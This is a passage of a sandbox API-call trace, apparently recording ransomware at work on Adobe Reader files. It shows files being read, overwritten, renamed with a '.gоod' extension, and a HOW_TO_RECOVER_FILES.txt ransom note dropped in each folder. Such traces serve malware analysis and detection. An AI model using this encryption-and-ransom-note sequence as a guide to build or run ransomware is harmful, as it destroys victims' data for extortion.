cFileName="..", cAlternateFileName="")) returned 1 [0157.124] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x315b, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0157.124] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x315b, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0157.124] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0157.124] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0157.125] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0157.125] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\en-gb\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\en-gb\\ui-strings.js", lpFilePart=0x0) returned 0x77 [0157.125] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeba80) returned 1 [0157.125] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\en-gb\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\en-gb\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x3562e08 | out: lpFileInformation=0x3562e08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x315b)) returned 1 [0157.125] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeba40) returned 1 [0157.125] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\en-gb\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\en-gb\\ui-strings.js", lpFilePart=0x0) returned 0x77 [0157.125] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0157.125] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\en-gb\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\en-gb\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7fc [0157.125] GetFileType (hFile=0x7fc) returned 0x1 [0157.125] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0157.125] GetFileType (hFile=0x7fc) returned 0x1 [0157.125] SetFilePointer (in: hFile=0x7fc, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1ffebad8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1ffebad8*=0) returned 0x1000 [0157.125] ReadFile (in: hFile=0x7fc, lpBuffer=0x35632e0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ffebaa8, lpOverlapped=0x0 | out: lpBuffer=0x35632e0*, lpNumberOfBytesRead=0x1ffebaa8*=0x1000, lpOverlapped=0x0) returned 1 [0157.127] CloseHandle (hObject=0x7fc) returned 1 [0157.127] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\en-gb\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\en-gb\\ui-strings.js", lpFilePart=0x0) returned 0x77 [0157.127] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0157.127] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\en-gb\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\en-gb\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7fc [0157.127] GetFileType (hFile=0x7fc) returned 0x1 [0157.127] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0157.127] GetFileType (hFile=0x7fc) returned 0x1 [0157.127] SetFilePointer (in: hFile=0x7fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1ffebad8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1ffebad8*=0) returned 0x315b [0157.127] WriteFile (in: hFile=0x7fc, lpBuffer=0x35645d8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1ffeb9c8, lpOverlapped=0x0 | out: lpBuffer=0x35645d8*, lpNumberOfBytesWritten=0x1ffeb9c8*=0x10, lpOverlapped=0x0) returned 1 [0157.918] CloseHandle (hObject=0x7fc) returned 1 [0157.958] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\en-gb\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\en-gb\\ui-strings.js", lpFilePart=0x0) returned 0x77 [0157.958] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0157.958] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\en-gb\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\en-gb\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0157.958] GetFileType (hFile=0x650) returned 0x1 [0157.958] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0157.958] GetFileType (hFile=0x650) returned 0x1 [0157.958] ReadFile (in: hFile=0x650, lpBuffer=0x3599950, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ffeba58, lpOverlapped=0x0 | out: lpBuffer=0x3599950*, lpNumberOfBytesRead=0x1ffeba58*=0x1000, lpOverlapped=0x0) returned 1 [0157.986] CloseHandle (hObject=0x650) returned 1 [0157.986] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\en-gb\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\en-gb\\ui-strings.js", lpFilePart=0x0) returned 0x77 [0157.986] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0157.986] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\en-gb\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\en-gb\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0157.986] GetFileType (hFile=0x650) returned 0x1 [0157.986] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0157.986] GetFileType (hFile=0x650) returned 0x1 [0157.986] WriteFile (in: hFile=0x650, lpBuffer=0x3598648*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1ffebb08, lpOverlapped=0x0 | out: lpBuffer=0x3598648*, lpNumberOfBytesWritten=0x1ffebb08*=0x1010, lpOverlapped=0x0) returned 1 [0157.986] CloseHandle (hObject=0x650) returned 1 [0157.986] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\en-gb\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\en-gb\\ui-strings.js", lpFilePart=0x0) returned 0x77 [0157.986] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\en-gb\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\en-gb\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x7c [0157.987] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeba40) returned 1 [0157.987] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\en-gb\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\en-gb\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x1ffebb20 | out: lpFileInformation=0x1ffebb20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x5a6291a2, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x316b)) returned 1 [0157.987] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeba00) returned 1 [0157.987] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\en-gb\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\en-gb\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\en-gb\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\en-gb\\ui-strings.js.gоod")) returned 1 [0157.987] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\en-gb\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1ffeb720, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\en-gb\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x82 [0157.987] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebc40) returned 1 [0157.987] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\en-gb\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\en-gb\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x650 [0157.988] GetFileType (hFile=0x650) returned 0x1 [0157.988] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbb0) returned 1 [0157.988] GetFileType (hFile=0x650) returned 0x1 [0157.989] WriteFile (in: hFile=0x650, lpBuffer=0x3618390*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1ffebd08, lpOverlapped=0x0 | out: lpBuffer=0x3618390*, lpNumberOfBytesWritten=0x1ffebd08*=0x5d0, lpOverlapped=0x0) returned 1 [0157.990] CloseHandle (hObject=0x650) returned 1 [0157.990] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0157.990] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\en-il", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\en-il", lpFilePart=0x0) returned 0x69 [0157.990] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\en-il\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec1de80 [0158.223] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0158.224] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x38da, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0158.224] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0158.224] FindClose (in: hFindFile=0x1ec1de80 | out: hFindFile=0x1ec1de80) returned 1 [0158.224] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0158.224] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0158.224] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0158.224] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\en-il", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\en-il", lpFilePart=0x0) returned 0x69 [0158.224] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\en-il\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec1de80 [0158.224] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0158.225] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x38da, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0158.225] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x38da, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0158.225] FindClose (in: hFindFile=0x1ec1de80 | out: hFindFile=0x1ec1de80) returned 1 [0158.225] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0158.225] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0158.225] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\en-il\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\en-il\\ui-strings.js", lpFilePart=0x0) returned 0x77 [0158.225] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeba80) returned 1 [0158.225] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\en-il\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\en-il\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x3511d50 | out: lpFileInformation=0x3511d50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x38da)) returned 1 [0158.225] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeba40) returned 1 [0158.225] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\en-il\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\en-il\\ui-strings.js", lpFilePart=0x0) returned 0x77 [0158.225] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0158.225] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\en-il\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\en-il\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0158.226] GetFileType (hFile=0x7dc) returned 0x1 [0158.226] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0158.226] GetFileType (hFile=0x7dc) returned 0x1 [0158.226] SetFilePointer (in: hFile=0x7dc, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1ffebad8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1ffebad8*=0) returned 0x1000 [0158.226] ReadFile (in: hFile=0x7dc, lpBuffer=0x3512228, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ffebaa8, lpOverlapped=0x0 | out: lpBuffer=0x3512228*, lpNumberOfBytesRead=0x1ffebaa8*=0x1000, lpOverlapped=0x0) returned 1 [0158.229] CloseHandle (hObject=0x7dc) returned 1 [0158.229] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\en-il\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\en-il\\ui-strings.js", lpFilePart=0x0) returned 0x77 [0158.229] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0158.229] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\en-il\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\en-il\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0158.229] GetFileType (hFile=0x7dc) returned 0x1 [0158.229] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0158.229] GetFileType (hFile=0x7dc) returned 0x1 [0158.229] SetFilePointer (in: hFile=0x7dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1ffebad8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1ffebad8*=0) returned 0x38da [0158.229] WriteFile (in: hFile=0x7dc, lpBuffer=0x3514420*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1ffeb9c8, lpOverlapped=0x0 | out: lpBuffer=0x3514420*, lpNumberOfBytesWritten=0x1ffeb9c8*=0x10, lpOverlapped=0x0) returned 1 [0158.230] CloseHandle (hObject=0x7dc) returned 1 [0158.230] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\en-il\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\en-il\\ui-strings.js", lpFilePart=0x0) returned 0x77 [0158.231] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0158.231] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\en-il\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\en-il\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0158.231] GetFileType (hFile=0x7dc) returned 0x1 [0158.231] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0158.231] GetFileType (hFile=0x7dc) returned 0x1 [0158.231] ReadFile (in: hFile=0x7dc, lpBuffer=0x3516920, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ffeba58, lpOverlapped=0x0 | out: lpBuffer=0x3516920*, lpNumberOfBytesRead=0x1ffeba58*=0x1000, lpOverlapped=0x0) returned 1 [0158.258] CloseHandle (hObject=0x7dc) returned 1 [0158.258] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\en-il\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader 